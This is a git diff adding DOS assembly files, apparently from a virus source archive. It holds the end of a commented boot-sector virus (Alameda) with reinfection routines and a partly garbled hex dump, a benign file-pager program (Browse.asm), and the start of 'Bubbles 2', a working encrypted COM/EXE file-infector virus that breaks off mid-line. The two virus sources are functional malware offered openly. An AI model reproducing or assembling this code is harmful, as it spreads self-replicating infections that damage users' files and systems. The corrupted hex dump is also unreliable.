+ DB 27H,0,4,2 ; + DB 27H,0,5,2 ; + DB 27H,0,6,2 ; + DB 27H,0,7,2 ; + DB 27H,0,8,2 ; + ; +;A7C9A LABEL BYTE ; + DW 00024H ;NOT USED + DB 0ADH ; + DB 07CH ; + DB 0A3H ; + DW 00026H ; + ; +;L7CA1: ; + POP CX ;NOT USED + POP DI ; + POP SI ; + POP ES ; + POP DS ; + POP AX ; + POPF ; + JMP 1111:1111 ; + ; +;-----------------------------------------------------------------------; +; IF ALT & CTRL & DEL THEN ... ; +; IF ALT & CTRL & ? THEN ... ; +;-----------------------------------------------------------------------; +NEW_09: PUSHF ; + STI ; + ; + PUSH AX ; + PUSH BX ; + PUSH DS ; + ; + PUSH CS ;DS=CS + POP DS ; + ; + MOV BX,[ALT_CTRL] ;BX=SCAN CODE LAST TIME + IN AL,60H ;GET SCAN CODE + MOV AH,AL ;SAVE IN AH + AND AX,887FH ;STRIP 8th BIT IN AL, KEEP 8th BIT AH + ; + CMP AL,1DH ;IS IT A [CTRL]... + JNE N09_10 ;...JUMP IF NO + MOV BL,AH ;(BL=08 ON KEY DOWN, BL=88 ON KEY UP) + JMP N09_30 ; + ; +N09_10: CMP AL,38H ;IS IT AN [ALT]... + JNE N09_20 ;...JUMP IF NO + MOV BH,AH ;(BH=08 ON KEY DOWN, BH=88 ON KEY UP) + JMP N09_30 ; + ; +N09_20: CMP BX,0808H ;IF (CTRL DOWN & ALT DOWN)... + JNE N09_30 ;...JUMP IF NO + ; + CMP AL,17H ;IF [I]... + JE N09_X0 ;...JUMP IF YES + CMP AL,53H ;IF [DEL]... + JE ACK_KEYBD ;...JUMP IF YES + ; +N09_30: MOV [ALT_CTRL],BX ;SAVE SCAN CODE FOR NEXT TIME + ; +N09_90: POP DS ; + POP BX ; + POP AX ; + POPF ; + ; + DB 0EAH ;JMP F000:E987 +OLD_09 DW ? ; + DW 0F000H ; + ; +N09_X0: JMP N09_X1 ; + ; +;-----------------------------------------------------------------------; +; ; +;-----------------------------------------------------------------------; +RBOOT: MOV DX,03D8H ;DISABLE COLOR VIDEO !?!? + MOV AX,0800H ;AL=0, AH=DELAY ARG + OUT DX,AL ; + CALL DELAY ; + MOV [ALT_CTRL],AX ;AX=0 ; + ; + MOV AL,3 ;AH=0 ;SELECT 80x25 COLOR + INT 10H ; + MOV AH,2 ;SET CURSOR POS 0,0 + XOR DX,DX ; + MOV BH,DH ; PAGE 0 + INT 10H ; + ; + MOV AH,1 ;SET CURSOR TYPE + MOV CX,0607H ; + INT 10H ; + ; + MOV AX,0420H ;DELAY (AL=20H FOR EOI BELOW) + CALL DELAY ; + ; + CLI ; + OUT 20H,AL ;SEND EOI TO INT CONTROLLER + ; + MOV ES,CX ;CX=0 (DELAY) ;RESTORE FIRST 32 INT VECTORS + MOV DI,CX ; (REMOVING OUR INT 09 HANDLER!) + MOV SI,offset BEGIN - 128 ; + MOV CX,128 ; + CLD ; + REP MOVSB ; + ; + MOV DS,CX ;CX=0 ;DS=0 + ; + MOV Word Ptr [19H*4],offset NEW_19 ;SET INT 19 VECTOR + MOV [(19H*4)+2],CS ; + ; + MOV AX,0040H ;DS = ROM DATA AREA + MOV DS,AX ; + ; + MOV [0017H],AH ;AH=0 ;KBFLAG (SHIFT STATES) = 0 + INC Word Ptr [0013H] ;MEMORY SIZE += 1024 (WERE NOT ACTIVE) + ; + PUSH DS ;IF BIOS F000:E502 == 21E4... + MOV AX,0F000H ; + MOV DS,AX ; + CMP Word Ptr [0E502H],21E4H ; + POP DS ; + JE R_90 ; + INT 19H ; IF NOT...REBOOT + ; +R_90: JMP 0F000:0E502H ;...DO IT ?!?!?! + ; +;-----------------------------------------------------------------------; +; REBOOT INT VECTOR ; +;-----------------------------------------------------------------------; +NEW_19: XOR AX,AX ; + ; + MOV DS,AX ;DS=0 + MOV AX,[0410] ;AX=EQUIP FLAG + TEST AL,1 ;IF FLOPPY DRIVES ... + JNZ N19_20 ;...JUMP +N19_10: PUSH CS ;ELSE ES=CS + POP ES ; + CALL PUT_NEW_09 ;SAVE/REDIRECT INT 9 (KEYBOARD) + INT 18H ;LOAD BASIC + ; +N19_20: MOV CX,0004 ;RETRY COUNT = 4 + ; +N19_22: PUSH CX ; + MOV AH,00 ;RESET DISK + INT 13 ; + JB N19_81 ; + MOV AX,0201 ;READ BOOT SECTOR + PUSH DS ; + POP ES ; + MOV BX,offset BEGIN ; + MOV CX,1 ;TRACK 0, SECTOR 1 + INT 13H ; +N19_81: POP CX ; + JNB N19_90 ; + LOOP N19_22 ; + JMP N19_10 ;IF RETRY EXPIRED...LOAD BASIC + ; +;-----------------------------------------------------------------------; +; Reinfection segment. ; +;-----------------------------------------------------------------------; +N19_90: CMP DI,3456 ;IF NOT FLAG SET... + JNZ RE_INFECT ;...RE INFECT + ; +JMP_BOOT: ;PASS CONTROL TO BOOT SECTOR + JMP 0000:7C00H ; + ; +;-----------------------------------------------------------------------; +; Reinfection Segment. ; +;-----------------------------------------------------------------------; +RE_INFECT: ; + MOV SI,offset BEGIN ;COMPARE BOOT SECTOR JUST LOADED WITH + MOV CX,00E6H ; OURSELF + MOV DI,SI ; + PUSH CS ; + POP ES ; + CLD ; + REPE CMPSB ; + JE RI_12 ;IF NOT EQUAL... + ; + INC Word Ptr ES:[COUNTER_1] ;INC. COUNTER IN OUR CODE (NOT DS!) + ; +;MAKE SURE TRACK 39, HEAD 0 FORMATTED ; + MOV BX,offset TABLE ;FORMAT INFO + MOV DX,0000 ;DRIVE A: HEAD 0 + MOV CH,40-1 ;TRACK 39 + MOV AH,5 ;FORMAT + JMP RI_10 ;REMOVE THE FORMAT OPTION FOR NOW ! + ; +; <<< NO EXECUTION PATH TO HERE >>> ; + JB RI_80 ; + ; +;WRITE REAL BOOT SECTOR AT TRACK 39, SECTOR 8, HEAD 0 +RI_10: MOV ES,DX ;ES:BX = 0000:7C00, HEAD=0 + MOV BX,offset BEGIN ;TRACK 40H + MOV CL,8 ;SECTOR 8 + MOV AX,0301H ;WRITE 1 SECTOR + INT 13H ; + ; + PUSH CS ; (ES=CS FOR PUT_NEW_09 BELOW) + POP ES ; + JB RI_80 ;IF WRITE ERROR...JUMP TO BOOT CODE + ; + MOV CX,0001 ;WRITE INFECTED BOOT SECTOR ! + MOV AX,0301 ; + INT 13H ; + JB RI_80 ; IF ERROR...JUMP TO BOOT CODE + ; +RI_12: MOV DI,3456H ;SET "JUST INFECTED ANOTHER ONE"... + INT 19H ;...FLAG AND REBOOT + ; +RI_80: CALL PUT_NEW_09 ;SAVE/REDIRECT INT 9 (KEYBOARD) + DEC Word Ptr ES:[COUNTER_1] ; (DEC. CAUSE DIDNT INFECT) + JMP JMP_BOOT ; + ; +;-----------------------------------------------------------------------; +; ; +;-----------------------------------------------------------------------; +N09_X1: MOV [ALT_CTRL],BX ;SAVE ALT & CTRL STATUS + ; + MOV AX,[COUNTER_1] ;PUT COUNTER_1 INTO RESET FLAG + MOV BX,0040H ; + MOV DS,BX ; + MOV [0072H],AX ; 0040:0072 = RESET FLAG + JMP N09_90 ; + ; +;-----------------------------------------------------------------------; +; DELAY ; +; ; +; ON ENTRY AH:CX = LOOP COUNT ; +;-----------------------------------------------------------------------; +DELAY: SUB CX,CX ; +D_01: LOOP $ ; + SUB AH,1 ; + JNZ D_01 ; + RET ; + ; +;-----------------------------------------------------------------------; +; ; +;-----------------------------------------------------------------------; +A7DF4 DB 27H,00H,8,2 + +COUNTER_1 DW 001CH +ALT_CTRL DW 0 + +A7DFC DB 27H,0,8,2 + +END +;-----------------------------------------------------------------------; +; Hexadecimal representation. ; +;-----------------------------------------------------------------------; +;7C00 FA 31 C0 8E D0 BC 00 7C-FB BB 40 00 8E DB A1 13 z1@.P<.|{;@..[!. +;7C10 00 F7 E3 2D E0 07 8E C0-0E 1F 81 FF 56 34 75 04 .wc-`..@....V4u. +;7C20 FF 0E F8 7D 89 E6 89 F7-B9 00 02 FC F3 A4 89 CE ..x}.f.w9..|s$.N +;7C30 BF 80 7B B9 80 00 F3 A4-E8 15 00 06 0F 1E 07 89 ?.{9..s$h....... +;7C40 E3 89 CA B9 08 27 B8 01-02 CD 13 72 FE E9 38 01 c.J9.'8..M.r~i8. +;7C50 FF 0E 13 04 BE 24 00 BF-E6 7C B9 04 00 FA F3 A4 ....>$.?f|9..zs$ +;7C60 C7 06 24 00 AD 7C 8C 06-26 00 FB C3 E4 61 88 C4 G.$.-|..&.{Cda.D +;7C70 0C 80 E6 61 86 C4 E6 61-EB 73 27 00 01 02 27 00 ..fa.Dfaks'...'. +;7C80 02 02 27 00 03 02 27 00-04 02 27 00 05 02 27 00 ..'...'...'...'. +;7C90 06 02 27 00 07 02 27 00-08 02 24 00 AD 7C A3 26 ..'...'.$.-|#& +;7CA0 09 5F 5E 07 1F 58 9D-EA 11 11 1 FB .Y_^..X.j.....{P +;7CB0 53 1E 0E 1F 8B 1E FA 7D-E4 60 88 C4 25 7F 88 S.....z}d`.D%..< +;7CC0 1D 75 04 88 E3 EB 16 3C-38 75 04 88 E7 EB 0E .u..ck.<8u..gk.. +;7CD0 FB 08 08 75 08 3C 17 74-11 3C 53 74 8F 89 1E {..u.<.t..{9.. +;7D20 FC F3 A4 8E D9 C7 06 64-00 52 7D 8C 0E 66 00 B8 |s$.YG.R}..f.8 +;7D30 40 00 8E D8 88 26 17 00-FF 06 13 00 1E B8 00 F0 @..X.&.....8.p +;7D4 8E D8 81 3E 02 E5 E4 21-1F 74 02 CD 19 EA 02 E5 .X.>.ed!.t.M.e +;7D50 00 F0 31 C0 8E D8 A1 10-04 A8 01 75 07 0E 07 E8 .p1@.X!..(.u.. +;7D60 EE FE CD 18 B9 04 00 51-B4 00 CD 13 72 0D B8 01 n~M.9..Q4.M.r.8 +;7D70 02 1E 07 BB 00 7C B9 01-00 C3 59 73 04 E2 E7 ...;.|9..M.Ys.bg +;780 EB DB 81 FF 56 34 75 05-EA 00 7C 00 00 BE 00 7C k[..V4u|..>.| +;7D90 B9 E6 00 89 F7 0E 07 FC-F3 A6 74 2D 26 FF 06 F8 9f..w..|t-&..x +;7DA0 7D BB 7A 7C BA 00 00 B5-27 B4 05 EB 02 72 1F 8E };z|:..5.k.r.. +;7DB0 C2 BB 00 7C B1 08 B8 01-03 CD 13 0E 07 72 0F B9 B;.|1.8....r.9 +;7DC0 01 00 B8 01 03 CD 13 72-05 BF 56 34 CD 19 E8 7F ..8..M.rV4M.h. +;7DD0 FE 26 FF 0E F8 7D EB B0-89 1E FA 7D A1 F8 7D BB ~&..x}k0}!x}; +;7DE0 40 00 8E DB A3 72 0E9-F7 FE 29 C9 E2 FE 80 EC @..[#r.iwIb~.l +;7DF0 01 75 F9 C3 27 00 08 02-1C 00 00 00 27 00 08 02 .uyC'.....'... +;---------------------------------------------------------------------; +End of commented code for the Alameda College Boot Infector Virus. \ No newline at end of file diff --git a/b/Browse.asm b/b/Browse.asm new file mode 100755 index 0000000..291e4f1 --- /dev/null +++ b/b/Browse.asm @@ -0,0 +1,454 @@ +; BROWSE.ASM -- Full Screen File Pager +; ==================================== + +CSEG Segment + Assume CS:CSEG, DS:CSEG, ES:CSEG, SS:CSEG + Org 0080h +Parameter Label Byte + Org 0100h +Entry: Jmp Begin + +; All Data +; -------- + + db 'ATTR=' +Attribute db 0 ; Current screen attribute + db 'SHIFT=' +ShiftHoriz db 8 ; Horizontal shift screen default +DosVersionFail db 'Requires DOS 2.0 or above$' +NoSpaceFail db 'Not enough memory$' +FileFail db 'File Not Found$' +ScreenFail db 'Unsupported video mode$' +Delimiters db 9,' ,;=/' ; Delimiters in parameter +FileHandle dw ? ; Use for saving file handle +WSMode db 0FFh ; AND value for non-WordStar mode +LineLength db ? ; Length of line (from BIOS) +NumberLines db 25,0 ; Number of lines (check EGA BIOS) +ScreenSize dw ? ; Size of screen in bytes +CheckRetrace db 1 ; Flag zero if EGA or MONO used +Addr6845 dw ? ; Could use for retrace check +ScreenAddr Label DWord ; Address of screen +ScreenOff dw 0 ; Higher for non-page 0 +ScreenSeg dw 0B800h ; Set to B000h for Mono Mode 7 +ScreenStart dw ? ; Points within buffer +EndOfFile dw ? ; Points within buffer +FileOffset dw -1, -1 ; Address within file of buffer data +HorizOffset dw 0 ; Horizontal offset for display +RightMargin dw 0 ; Right margin for offset display +Dispatch dw Home, Up, PgUp, Dummy, Left + dw Dummy, Right, Dummy, End, Down, PgDn + +; Check DOS Version for 2.0 or above +; ---------------------------------- + +Begin: Cld ; All string directions forward + Mov AH,30h + Int 21h ; Get DOS Version Number + Cmp AL,2 ; Check for 2.0 or later + Jae DOSVerOK + Mov DX,Offset DOSVersionFail +ErrorExit: Mov AH,9 ; Write error message + Int 21h + Int 20h + +; Parse Command Line to get File Name and WordStar flag +; ----------------------------------------------------- + +DOSVerOK: Mov SI,1 + Offset Parameter ; Points to parameter +NameSearch: Lodsb ; Get byte + Cmp AL,13 ; Check if carriage return + Jz NoFileFound ; If so, no file name + Mov DI,Offset Delimiters ; String of delimiters + Mov CX,5 ; Number of delimiters (no /) + Repne Scasb ; See if a match + Je NameSearch ; If a delimiter, keep looking + Mov DX,SI ; Otherwise found file name + Dec DX ; Points to beginning of it +EndSearch: Lodsb ; Get next byte + Cmp AL,13 ; See if carriage return + Je GotFileEnd ; If so, we're all done + Mov DI,Offset Delimiters ; String of delimiters + Mov CX,6 ; Number (including /) + Repne Scasb ; See if a match + Jne EndSearch ; If not, still in file name + Mov Byte Ptr [SI - 1],0 ; If so, mark end of file name + Jcxz GotFlag ; If slash, check for W + Jmp EndSearch ; Or continue flag search +GotFlag: Lodsb ; Get byte after / flag + Or AL,20h ; Uncapitalize + Cmp AL,'w' ; See if w for WordStar mode + Jnz GotFileEnd ; If not, just ignore it + Mov [WSMode],7Fh ; AND value for WordStar + +; Open the File +; ------------- + +GotFileEnd: Mov Byte Ptr [SI - 1],0 ; Mark end of file name + ; DX still points to name + Mov AX,3D00h ; Open file for reading + Int 21h ; by calling DOS + Jnc GotTheFile ; If no error, continue +NoFileFound: Mov DX,Offset FileFail ; Otherwise print a message + Jmp ErrorExit +GotTheFile: Mov [FileHandle],AX ; Save the file handle + +; Get Screen Mode Information from BIOS Data Area +; ----------------------------------------------- + + Push ES ; Save register + Sub AX,AX + Mov ES,AX ; Set ES to 0 (BIOS Data) + Mov AL,ES:[0449h] ; Current Video Mode + Cmp AL,3 ; Check if Color Alpha + Jbe DisplayOK ; Continue if so + Cmp AL,7 ; Check if monochrome display + Je Monochrome ; If so, branch + Mov DX,Offset ScreenFail ; We can't handle graphics + Jmp ErrorExit ; So print an error message +Monochrome: Mov [ScreenSeg],0B000h ; Use Monochrome Segment + Mov [CheckRetrace],0 ; Don't have to check retrace +DisplayOK: Mov AL,ES:[044Ah] ; Number of Columns + Mov [LineLength],AL ; Save it + Mov AX,ES:[044Eh] ; Offset into screen buffer + Mov [ScreenOff],AX ; Save it + Mov AX,ES:[0463h] ; Address of 6845 Regsiter + Mov [Addr6845],AX ; Save it + Push ES + Sub DL,DL ; Set Rows to zero first + Sub BH,BH + Mov AX,1130h ; EGA BIOS: Get Information + Int 10h + Pop ES + Or DL,DL ; Check if DL is still zero + Jz NoEGA ; If so, skip rest of stuff + Inc DL + Mov [NumberLines],DL ; Save Number of Lines + Test Byte Ptr ES:[0487h],4 ; Check if must check retrace + Jnz NoEGA + Mov [CheckRetrace],0 ; EGA says we don't have to +NoEGA: Mov BH,ES:[0462h] ; Get Current Page (use later) + Pop ES + Mov AL,[LineLength] ; Length of each line + Mul [NumberLines] ; Total chars on screen + Add AX,AX ; Double for attributes + Mov [ScreenSize],AX ; And Save it + +; See if enough memory is left +; ---------------------------- + + Add AX,Offset ScreenHold ; Add ScreenSize to code end + Add AX,256 ; Add a little stack room + Cmp AX,SP ; Check against stack pointer + Jbe GotEnufMemory ; Continue if OK + Mov DX,Offset NoSpaceFail ; Otherwise end program + Jmp ErrorExit ; with error messae + +; Get Current Screen Attribute +; ---------------------------- + +GotEnufMemory: Cmp [Attribute],0 ; Check if attribute pre-set + Jnz GotAttribute ; If so, move on + Mov DL,' ' ; Write out a byte + Mov AH,2 ; using DOS + Int 21h + Mov AL,8 ; Now backspace + Mov AH,14 ; using BIOS call + Int 10h + Mov AH,8 ; Read character & attribute + Int 10h ; using BIOS call (BH = pg) + Mov [Attribute],AH ; And save attribute + +; Save Current Screen +; ------------------- + +GotAttribute: Mov DX,Offset Terminate ; Set Ctrl-Break exit + Mov AX,2523h ; to terminate that way + Int 21h + Mov DI,Offset ScreenHold ; Destination of screen + Mov CX,[ScreenSize] ; Size of screen + Push DS ; Save Source Segment + Lds SI,[ScreenAddr] ; Get screen address + Rep Movsb ; Move in the bytes + Pop DS ; Restore Source Segment + +; Get Keyboard Key and Decide on Action +; ------------------------------------- + + Call Home ; Read file in + Mov [ScreenStart],SI ; Set buffer address +KeyLoop: Call UpDateScreen ; Write file to screen +GetKey: Mov AH,8 ; Get key + Int 21h ; by calling DOS + Cmp AL,27 ; Check if ESC + Je Terminate ; If so, terminate + Cmp AL,0 ; Check if extended + Jnz GetKey ; If not, try again + Mov AH,8 ; Get extended code + Int 21h ; by calling DOS + Sub AL,71 ; Subtract Home key value + Jb GetKey ; If below that, not valid + Cmp AL,(81 - 71) ; Check if above PgDn + Ja GetKey ; If so, ignore it + Sub AH,AH ; Zero out top byte + Add AX,AX ; Double for word access + Mov BX,AX ; Offset in dispatch table + Mov SI,[ScreenStart] ; Set current buffer pointer + Call [Dispatch + BX] ; Do the call + Mov [ScreenStart],SI ; Set new buffer pointer + Jmp KeyLoop ; And update the screen + +; Terminate -- Restore screen and close file +; ------------------------------------------ + +Terminate: Mov SI,Offset ScreenHold ; Address of Saved Screen + Les DI,[ScreenAddr] ; Address of Display + Mov CX,[ScreenSize] ; Number of characters + Rep Movsb ; Move them back + Mov BX,[FileHandle] ; Get File Handle + Mov AH,3Eh ; Close File + Int 21h + Int 20h ; Terminate + +; Cursor Key Routines -- Home Key +; ------------------------------- + +Home: Sub BX,BX ; For zeroing out values + Mov AX,[FileOffset] ; Check if read in file + Or AX,[FileOffset + 2] + Mov [FileOffset],BX ; Zero out file address + Mov [FileOffset + 2],BX + Mov [HorizOffset],BX ; Zero out horizontal offset + Mov SI,Offset Buffer ; Reset buffer pointer + Jz Dummy ; Skip file read if in already + Mov DX,Offset Buffer ; Area to read file in + Mov CX,32768 ; Number of bytes to read + Call FileRead ; Read in file +Dummy: Ret + +; Up and PgUp Keys +; ---------------- + +Up: Call GetPrevChar ; Get previous char in buffer + Jc UpDone ; If none available, finish +UpLoop: Call GetPrevChar ; Get previous char again + Jc UpDone ; if none, we're done + Cmp AL,10 ; Check if line feed + Jnz UpLoop ; If not, try again + Call GetNextChar ; Get char after line feed +UpDone: Ret + +PgUp: Mov CX,Word Ptr [NumberLines] ; Number of lines +PgUpLoop: Call Up ; Do UP that many times + Loop PgUpLoop + Ret + +; Left and Right Keys +; ------------------- + +Left: Mov [HorizOffset],0 ; Reset Horizontal Offset + Ret + +Right: Mov AL,[ShiftHoriz] ; Get places to shift + Sub AH,AH + Add [HorizOffset],AX ; Move that many right + Ret + +; End, Down, and PgDn Keys +; ------------------------ + +End: Mov BX,SI ; Save buffer pointer + Call PgDn ; Go page down + Cmp BX,SI ; Check if we did so + Jnz End ; If so, do it again + Ret + +Down: Call GetNextChar ; Get next character + Jc NoMoreDown ; If no more, we're done +DownLoop: Call GetNextChar ; Get one again + Jc UpLoop ; If no more, find prev LF + Cmp AL,10 ; See if line feed + Jnz DownLoop ; If not, continue +NoMoreDown: Ret + +PgDn: Mov CX,Word Ptr [NumberLines] ; Number of lines +PgDnLoop: Call Down ; Do DOWN that many times + Loop PgDnLoop + Ret + +; Update Screen +; ------------- + +UpdateScreen: Push ES + Mov SI,[ScreenStart] ; Address of data in buffer + Les DI,[ScreenAddr] ; Address of display + Mov CX,ScreenSize ; Number of bytes in screen + Shr CX,1 ; Half for number of chars + Mov AL,' ' ; Will blank screen + Mov AH,[Attribute] ; With screen attribute + Rep Stosw ; Blank it + Mov AL,[LineLength] ; Length of display line + Sub AH,AH + Add AX,[HorizOffset] ; Add Horizontal Offset + Mov [RightMargin],AX ; That's right display margin + Sub DL,DL ; Line Number +LineLoop: Sub BX,BX ; Column Number + Mov AL,[LineLength] ; Use Line Length + Mul DL ; and Line Number + Add AX,AX ; to recalculate + Mov DI,AX ; display destination + Add DI,[ScreenOff] ; Add beginning address +CharLoop: Call GetNextChar ; Get next character + Jc EndOfScreen ; If no more, we're done + And AL,[WSMode] ; Will be 7Fh for WordStar + Cmp AL,13 ; Check for carriage return + Je CharLoop ; Do nothing if so + Cmp AL,10 ; Check for line feed + Je LineFeed ; Do routine if so + Cmp AL,9 ; Check for tab + Je Tab ; Do routine if so + Mov CX,1 ; Just 1 char to display +PrintChar: Cmp BX,[HorizOffset] ; See if we can print it + Jb NoPrint + Cmp BX,[RightMargin] ; See if within margin + Jae NoPrint + Mov AH,[Attribute] ; Attribute for display + Cmp [CheckRetrace],0 ; See if must stop snow + Jz WriteIt ; If not, skip retrace wait + Push BX + Push DX + Mov BX,AX ; Save character and attribute + Mov DX,[Addr6845] ; Set up I/O address + Add DX,6 +RetraceWait1: In AL,DX ; Check until + Shr AL,1 ; vertical retrace + Jc RetraceWait1 ; ends + Cli ; Clear interrupts +RetraceWait2: In AL,DX ; Check until + Shr AL,1 ; vertical retrace + Jnc RetraceWait2 ; begins + Mov AX,BX ; Get back character & attr + Stosw ; Write to display + Sti ; Enable interrupts again + Pop DX + Pop BX + Jmp Short NoPrint ; Skip around "no snow" write +WriteIt: Stosw ; Write without retrace wait +NoPrint: Inc BX ; Bump up line counter + Loop PrintChar ; Do it CX times + Jmp CharLoop ; Then go back to top +Tab: Mov AX,BX ; Current column number + And AX,07h ; Take lower three bits + Mov CX,8 + Sub CX,AX ; Subtract from 8 + Mov AL,' ' ; Will print CX blanks + Jmp PrintChar +LineFeed: Inc DL ; Next line + Cmp DL,[NumberLines] ; See if down at bottom + Jb LineLoop ; If not, continue +EndOfScreen: Pop ES ; All done -- leave + Ret + +; Get Next Character from buffer +; ------------------------------ +; (Input is SI pointing to buffer, Returns AL, CY if no more) + +GetNextChar: Cmp SI,[EndOfFile] ; See if at end of file + Jae NoMoreNext ; If so, no more chars + Cmp SI,Offset BufferEnd ; See if at end of buffer + Jb CanGetNext ; If not, just get character + Push CX ; Otherwise save registers + Push DX + Push DI + Push ES + Push DS ; Set ES to DS + Pop ES ; (could be different) + Mov SI,Offset BufferMid ; Move 2nd buffer half + Mov DI,Offset Buffer ; to 1st buffer half + Mov CX,16384 + Sub [ScreenStart],CX ; New buffer pointer + Rep Movsb ; Move them + Mov SI,DI ; SI also buffer pointer + Add [FileOffset],32768 ; Adjust file addr to read + Adc [FileOffset + 2],0 + Mov DX,Offset BufferMid ; Place to read file + Mov CX,16384 ; Number of bytes + Call FileRead ; Read the file + Sub [FileOffset],16384 ; Now adjust so reflects + Sbb [FileOffset + 2],0 ; 1st half of buffer + Pop ES ; Get back registers + Pop DI + Pop DX + Pop CX + Jmp GetNextChar ; And try again to get char +CanGetNext: Lodsb ; Get the character +NoMoreNext: Cmc ; So CY set if no more + Ret + +; Get Previous Character from buffer +; ---------------------------------- + +GetPrevChar: Cmp SI,Offset Buffer ; See if at top of buffer + Ja CanGetPrev ; If not, just get character + Mov AX,[FileOffset] ; See if at top of file + Or AX,[FileOffset + 2] + Jz AtTopAlready ; If so, can't get anymore + Push CX ; Save some registers + Push DX + Mov SI,Offset Buffer ; Move 1st half of buffer + Mov DI,Offset BufferMid ; to 2nd half of buffer + Mov CX,16384 + Add [ScreenStart],CX ; New buffer pointer + Rep Movsb ; Do the move + Sub [FileOffset],16384 ; Adjust file addr for read + Sbb [FileOffset + 2],0 + Mov DX,Offset Buffer ; Area to read file into + Mov CX,16384 ; Number of bytes + Call FileRead ; Read the file + Pop DX ; Get back registers + Pop CX + Jmp Short CanGetPrev ; Now get character +AtTopAlready: Stc ; CY flag set for no more + Ret +CanGetPrev: Dec SI ; Move pointer back + Mov AL,[SI] ; Get the character + Clc ; CY flag reset for success + Ret + +; Read CX bytes from the file into DX buffer +; ------------------------------------------ + +FileRead: Push AX ; Save some registers + Push BX + Push CX + Push DX + Mov [EndOfFile],-1 ; Initialize this + Mov DX,[FileOffset] ; Get file address to read + Mov CX,[FileOffset + 2] + Mov BX,[FileHandle] ; Get file Handle + Sub AL,AL ; Do LSEEK from beginning + Mov AH,42h ; LSEEK call + Int 21h + Pop DX ; Get back destination + Pop CX ; Get back count + Mov AH,3Fh ; Read file function call + Int 21h + Jnc NoReadError ; If no error, continue + Sub AX,AX ; Otherwise read zero bytes +NoReadError: Cmp AX,CX ; See if 32K has been read + Je GotItAll ; If so, we're home free + Add AX,DX ; Otherwise add to buffer addr + Mov [EndOfFile],AX ; And save as end of file +GotItAll: Pop BX + Pop AX + Ret + +; File Buffer and Screen Hold Areas +; --------------------------------- + +Buffer Label Byte ; Area for file reads +BufferMid equ Buffer + 16384 ; Halfway through it +BufferEnd equ BufferMid + 16384 ; At end of it +ScreenHold equ BufferEnd ; Area for holding screen +CSEG EndS ; End of segment + End Entry ; Denotes entry point + \ No newline at end of file diff --git a/b/Bubbles2.asm b/b/Bubbles2.asm new file mode 100755 index 0000000..3e61b0b --- /dev/null +++ b/b/Bubbles2.asm @@ -0,0 +1,427 @@ +;--------- +; Bubbles 2 written by Admiral Bailey +;--------- + + +Code Segment Public 'Code' + Assume CS:Code + Org 100h ; All .COM files start here + +ID = 'AB' ; Id for infected files +MaxFiles = 3 ; Max number of file to infect + +Start: + db 0e9h,2,0 ; Jump to the next command + dw id ; So this file doesnt get infected + +Virus: + call realcode ; Push current location on stack + +Realcode: + pop bp ; Get location off stack + nop + nop + nop + sub bp,offset realcode ; Adjust it for our pointer + nop + nop + call encrypt_decrypt ; Decrypt the virus first + +Encrypt_Start equ $ ; From here is encrypted + + cmp sp,id ; Is this file a COM or EXE? + je restoreEXE ; Its an EXE so restore it + + lea si,[bp+offset oldjump] ; Location of old jump in si + mov di,100h ; Restore new jump to 100h + push di ; Save so we could just return when done + movsb ; Move a byte + movsw ; Move a word + movsw ; Move another word + jmp exitrestore + +RestoreEXE: + push ds ; Save ExE ds + push es ; Save ExE es + push cs + pop ds ; DS now equals CS + push cs + pop es ; ES now equals CS + + lea si,[bp+jmpsave2] + lea di,[bp+jmpsave] + movsw ; Move a word + movsw ; Move a word + movsw ; Move a word + movsw ; Move a word + +ExitRestore: + lea dx,[bp+offset dta] ; Where to put New DTA + call set_DTA ; Move it + + mov [bp+counter],byte ptr 0 ; Clear counter + mov ax,3524h ; Get int 24 handler + int 21h ; It gets put in ES:BX + mov word ptr [bp+oldint24],bx ; Save it + mov word ptr [bp+oldint24+2],es + + mov ah,25h ; Set new int 24 handler + lea dx,[bp+offset int24] ; Loc of new one in DS:DX + int 21h + + push cs ; Restore ES + pop es ; 'cuz it was changed + + mov ah,47h ; Get the current directory + mov dl,0h ; On current drive + lea si,[bp+offset currentdir] ; Where to keep it + int 21h + +DirLoop: + lea dx,[bp+offset exefilespec] ; Files to look for + call findfirst + lea dx,[bp+offset comfilespec] ; Files to look for + call findfirst + + lea dx,[bp+offset directory] ; Where to change too '..' + mov ah,3bh ; Change directory + int 21h + jnc dirloop ; If no problems the look for files + + call activate ; Call the activation routine + + mov ax,2524h ; Restore int 24 handler + lds dx,[bp+offset oldint24] ; To original + int 21h + + push cs + pop ds ; Do this because the DS gets changed + + lea dx,[bp+offset currentdir] ; Location Of original dir + mov ah,3bh ; Change to there + int 21h + + mov dx,80h ; Location of original DTA + call set_dta ; Put it back there + + cmp sp,id-4 ; Is this file an EXE or COM? + jz returnEXE ; Its an EXE! + + retn ; Return to 100h (original jump) + +ReturnEXE: + pop es ; Get original ES + pop ds ; Get original DS + + mov ax,es + add ax,10h + add word ptr cs:[bp+jmpsave+2],ax + add ax,word ptr cs:[bp+stacksave+2] + cli ; Clear int's because of stack manipulation + mov sp,word ptr cs:[bp+stacksave] + mov ss,ax + sti + db 0eah ; Jump ssss:oooo +jmpsave dd ? ; Jump location +stacksave dd ? ; Original cs:ip +jmpsave2 dd 0fff00000h +stacksave2 dd ? + +FindFirst: + cmp [bp+counter],maxfiles ; Have we infected Too many + ja quit ; Yup + + mov ah,4eh ; Find first file + mov cx,7 ; Find all attributes + +FindNext: + int 21h ; Find first/next file int + jc quit ; If none found then change dir + + call infection ; Infect that file + +FindNext2: + mov ah,4fh ; Find next file + jmp findnext ; Jump to the loop + +Quit: + ret + +Infection: + mov ax,3d00h ; Open file for read only + call open + + mov ah,3fh ; Read from file + mov cx,1ah ; Number of bytes + lea dx,[bp+offset buffer] ; Location to store them + int 21h + + mov ah,3eh ; Close file + int 21h + + mov ax,word ptr [bp+DTA+1Ah] ; Get filesize from DTA + cmp ax,64000 ; Is the file too large? + ja quitinfect ; file to large so getanother + + cmp ax,600 ; Is the file too small? + jb quitinfect ; file to small so getanother + + cmp word ptr [bp+buffer],'ZM' ; Is file found an EXE? + jz checkEXE ; Yup so check it + mov ax,word ptr [bp+DTA+35] ; Get end of file name in ax + cmp ax,'DN' ; Does it end in 'ND'? + jz quitinfect ; Yup so get another file + +CheckCom: + mov bx,word ptr [bp+offset dta+1ah] ; Get file size + cmp word ptr cs:[bp+buffer+3],id ; Check for ID + je quitinfect + + jmp infectcom + +CheckExe: + cmp word ptr [bp+buffer+10h],id ; Check EXE for infection + jz quitinfect ; Already infected so close up + jmp infectexe + +QuitInfect: + ret + +InfectCom: + sub bx,3 ; Adjust for new jump + lea si,[bp+buffer] ; Move the old jump first + lea di,[bp+oldjump] + movsb + movsw + movsw + mov 